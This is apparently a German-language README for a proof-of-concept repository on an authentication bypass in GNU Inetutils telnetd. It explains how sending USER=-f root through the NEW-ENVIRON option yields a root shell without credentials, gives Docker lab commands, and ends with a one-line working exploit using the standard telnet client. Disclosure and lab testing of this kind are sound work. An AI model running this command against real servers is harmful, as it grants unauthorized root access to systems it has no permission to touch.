
GNU Inetutils telnetd Remote Authentication Bypass
Ernsthaft, Telnet im Jahr 2026? Kommt schon Leute, es ist Zeit weiterzuziehen. SSH existiert seit 1995. 🤦
Eine kritische Authentifizierungs-Bypass-Schwachstelle in GNU Inetutils telnetd, die Versionen 1.9.3 bis 2.7 betrifft.
Die Schwachstelle nutzt die NEW-ENVIRON-Telnet-Option aus, um bösartige Argumente in login(1) einzuschleusen. Durch das Setzen von USER=-f root über das Telnet-Protokoll kann ein Angreifer die Authentifizierung umgehen und ohne Anmeldedaten eine Root-Shell erhalten.
Das Telnet-Protokoll unterstützt die NEW-ENVIRON-Option (RFC 1572), die es dem Client ermöglicht, Umgebungsvariablen an den Server zu senden. Der telnetd-Daemon übergibt die USER-Variable als Argument an login(1).
Durch das Senden von USER=-f root wird der Wert wie folgt interpretiert:
-f-Flag: Authentifizierung überspringen (vertrauenswürdiger Host)root: ZielbenutzerDies führt zur Ausführung von login -f root, wodurch sofortiger Root-Zugriff gewährt wird.
Der PoC erkennt eine erfolgreiche Ausnutzung, indem er nach IAC WILL ECHO (0xff 0xfb 0x01) sucht – dem Protokollsignal, das der Server sendet, wenn Shell-Zugriff gewährt wird.
# Vulnerablen telnetd-Container bauen und ausführen
docker compose up --build -d
# Exploit testen
go run poc.go 127.0.0.1 2323
# Mit dem Go-PoC (mit interaktiver Shell)
go run poc.go <target> <port>
# Einfacher PoC mit standardmäßigem Telnet-Client
env USER='-f root' telnet -a <target> <port>
poc.go - Go-Exploit mit interaktiver ShellDockerfile - Vulnerabler telnetd-Containerdocker-compose.yml - Labor-Orchestrierung